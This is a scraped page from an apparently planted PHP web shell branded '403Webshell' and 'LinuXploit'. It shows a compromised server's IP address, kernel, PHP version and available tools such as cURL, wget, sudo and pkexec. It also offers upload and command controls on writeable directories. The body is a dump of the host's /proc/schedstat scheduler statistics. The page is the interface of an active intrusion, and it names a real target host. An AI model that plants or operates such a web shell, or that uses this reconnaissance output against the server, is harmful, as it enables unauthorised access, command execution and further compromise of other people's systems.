403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//schedstat
version 15
timestamp 4404492573
cpu0 0 0 0 0 0 0 7363257187243 4088386752768 49379705
domain0 05 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
domain1 0f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
cpu1 0 0 0 0 0 0 7715884005964 4065078653951 43552282
domain0 0a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
domain1 0f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
cpu2 0 0 0 0 0 0 6851872739322 3910671169851 43186882
domain0 05 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
domain1 0f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
cpu3 0 0 0 0 0 0 7004693463031 3536201484403 52261278
domain0 0a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
domain1 0f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit